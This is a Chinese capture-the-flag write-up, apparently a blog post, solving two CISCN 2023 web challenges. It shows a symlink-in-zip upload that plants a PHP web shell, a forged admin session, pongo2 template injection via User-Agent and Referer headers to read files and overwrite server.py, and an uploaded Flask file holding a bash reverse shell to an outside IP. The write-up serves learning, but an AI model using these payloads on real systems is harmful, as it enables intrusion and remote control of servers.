CISCN 2023 初赛

Web

unzip

文件上传页面

在这里插入图片描述

upload.php页面源码显示了出来

<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

可以看到,upload.php判断我们上传的文件必须是zip文件,然后会对其进行解压

此题我们可以通过软链接的方式做题

但不能文件链接文件,因为它是在tmp目录下解压文件的。我们需要对目录进行软链接

首先

ln -s /var/www/html shell
此时当前目录下就会生成一个shell目录,指向/var/www/html目录
下面我们进行打压缩包
zip -y 321.zip shell
然后上传上去,上传上去之后,就会立马解压缩了,那么现在shell目录已经链接到/var/www/html,当shell目录里出现了文件的变动,都会相对应在/var/www/html发生操作

接下来,我们创建一个shell文件夹,里面写一个shell.php
└─# mkdir shell
└─# cd shell
└─# cat shell.php
<?php system($_GET[0]);phpinfo();?>

然后对shell.php进行正常压缩,注意压缩包的文件名为shell.zip,要与上面链接的目录名一样
└─# zip shell.zip shell/*
最后上传,访问shell页面

在这里插入图片描述

在这里插入图片描述

go_session

题目提供了附件

go_session_4c91af79780fc70a4d21b272ba3a371c.zip

下面我们分析源代码

main.go

给了两个路由admin和flask

package main

import (
	"github.com/gin-gonic/gin"
	"main/route"
)

func main() {
	r := gin.Default()
	r.GET("/", route.Index)
	r.GET("/admin", route.Admin)
	r.GET("/flask", route.Flask)
	r.Run("0.0.0.0:80")
}

route.go

package route

import (
	"github.com/flosch/pongo2/v6"
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
	"html"
	"io"
	"net/http"
	"os"
)
//从环境变量中获取session_key,然后赋值给store
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	//获取请求中的session-name
	session, err := store.Get(c.Request, "session-name")
	//如果没有获取到session-name,err不为nil,就会返回一个错误的http状态码
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	//如果session里面的name值为nil,进入下面的代码块
	if session.Values["name"] == nil {
		//设置name为guest
		session.Values["name"] = "guest"
		//将name为guest的session保存到我们的请求头
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
	//获取session,判断session是否为空
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	//判断session中的name,不等于admin就返回N0
	if session.Values["name"] != "admin" {
		http.Error(c.Writer, "N0", http.StatusInternalServerError)
		return
	}
	//获取一个为name的查询参数,参数值不存在就使用ssti,这里主要是获取用户输入的数据
	name := c.DefaultQuery("name", "ssti")
	//对用户输入的内容进行html转义,防止xss
	xssWaf := html.EscapeString(name)
	//使用pongo2模板引擎创建一个包含用户输入内容的字符串模板
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	//执行上面定义好的模板,将模板中的变量c替换为用户输入的内容
	out, err := tpl.Execute(pongo2.Context{"c": c})
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	//返回一个包含用户输入内容的html字符串
	c.String(200, out)
}

func Flask(c *gin.Context) {
	//获取session,判断session是否为空
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	//判断session中的name是否为nil
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	//向本地的5000端口发送一个HTTP请求加上用户输入的名字,如果没有输入就默认为guest
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	//确保上面的函数执行完了,再关闭http请求
	defer resp.Body.Close()
	//读取http响应的内容,存储再boby变量中
	body, _ := io.ReadAll(resp.Body)
	//向用户返回一个包含本地服务响应内容的字符串
	c.String(200, string(body))
}

这题的话,好像是远程的环境变量里session_key根本就没有,为空的,所以我们只需要在本地运行这个环境,将guest改成admin,我们就可以得到admin的session了

session.Values["name"] = "admin"

得到session以后,访问admin

在这里插入图片描述

接下来传入参数name,这里存在pongo2模板注入漏洞

网上有关它的模板注入漏洞很少,直接翻官方文档

https://pkg.go.dev/github.com/flosch/pongo2

从中我发现了pongo2和Django的语法很类似

{{ pongo2.version }}

在这里插入图片描述

通过询问ai,得到如下结果

package main

import (
	"fmt"
	"github.com/flosch/pongo2"
	"io/ioutil"
)

func main() {
	// 读取/etc/passwd文件内容
	content, err := ioutil.ReadFile("/etc/passwd")
	if err != nil {
		panic(err)
	}

	// 创建一个Pongo2模板
	tpl := pongo2.Must(pongo2.FromString("{% include 'passwd' %}"))

	// 注册一个名为'passwd'的模板
	pongo2.RegisterTemplate("passwd", string(content))

	// 执行模板并获取输出
	out, err := tpl.Execute(nil)
	if err != nil {
		panic(err)
	}

	fmt.Println(out)
}

其中关键的代码就是

{% include 'passwd' %}
改成{% include '/etc/passwd' %}

我们在本地测试一下,先把html.EscapeString转义注释掉

在这里插入图片描述

成功可以文件包含了,但是还有去绕过html.EscapeString,这种html的转义基本上是无法绕过,只能通过别的方式传参进来

我们翻一翻go gin官方文档

https://pkg.go.dev/github.com/gin-gonic/gin@v1.9.0

为什么跑去翻这个了,注意看代码

下面是示例,是我本地的,有些地方可能被修改了,不用在意

在这里插入图片描述

官方文档如下:

在这里插入图片描述

但是这几个函数似乎都不行,都是必须要带有参数,直接问ai吧,go语言学的不深,男泵

在这里插入图片描述

给了我一丢丢启发,可以使用c.Request.UserAgent()

在这里插入图片描述

可以了,直接拿到远程来操作

在这里插入图片描述

成功读取,然后读取环境变量,得到flag
在这里插入图片描述

这里是非预期了,其实本地还有一个python环境,读取/app/server.py

在这里插入图片描述

这个python flask框架没啥洞,但是它debug是开着的,热部署,那我们就可以直接篡改server.py

接下来我们只要通过pongo2的模板注入,去篡改其文件内容就行了

第一步,写一个上传表单

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件上传表单</title>
</head>
<body>
    <h1>文件上传表单</h1>
    <form action="https://e12bf8ac-31cc-4191-b742-b8261494b8e3.challenge.ctf.show/admin" method="post" enctype="multipart/form-data">
        <label for="file">选择文件:</label>
        <input type="file" id="file" name="file">
        <br><br>
        <button type="submit">上传文件</button>
    </form>
</body>
</html>

第二步,上传抓包该格式

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}} HTTP/1.1
Host: e12bf8ac-31cc-4191-b742-b8261494b8e3.challenge.ctf.show
User-Agent: file
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208503974923088219412672941459
Content-Length: 509
Origin: http://192.168.123.129
Referer: /app/server.py
Cookie: session-name=MTcxNTE1NDI4OHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXwbjRagxTzeo4IEdTsWK0nJVqLDhQuJrWVe8t0OrOXgcA==
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------208503974923088219412672941459
Content-Disposition: form-data; name="file"; filename="123.py"
Content-Type: text/plain

from flask import Flask, request
import subprocess
app = Flask(__name__)

@app.route('/')
def index():
    return subprocess.call("bash -c 'bash -i >& /dev/tcp/60.204.170.160/8989 0>&1'", shell=True)


if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=True)
-----------------------------208503974923088219412672941459--

注意几个点

在这里插入图片描述

然后我们再去查看server.py内容

在这里插入图片描述

完美篡改,我们去访问flask路由

func Flask(c *gin.Context) {
	//获取session,判断session是否为空
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	//判断session中的name是否为nil
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	//向本地的5000端口发送一个HTTP请求加上用户输入的名字,如果没有输入就默认为guest
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	//确保上面的函数执行完了,再关闭http请求
	defer resp.Body.Close()
	//读取http响应的内容,存储再boby变量中
	body, _ := io.ReadAll(resp.Body)
	//向用户返回一个包含本地服务响应内容的字符串
	c.String(200, string(body))
}

注意:为什么name要传/,这是因为如果默认为guest,最后的拼接结果就是 http://127.0.0.1:5000/guest python没有guest这个路由,肯定就报错了

在这里插入图片描述

在这里插入图片描述

  • 7
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ten^v^

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值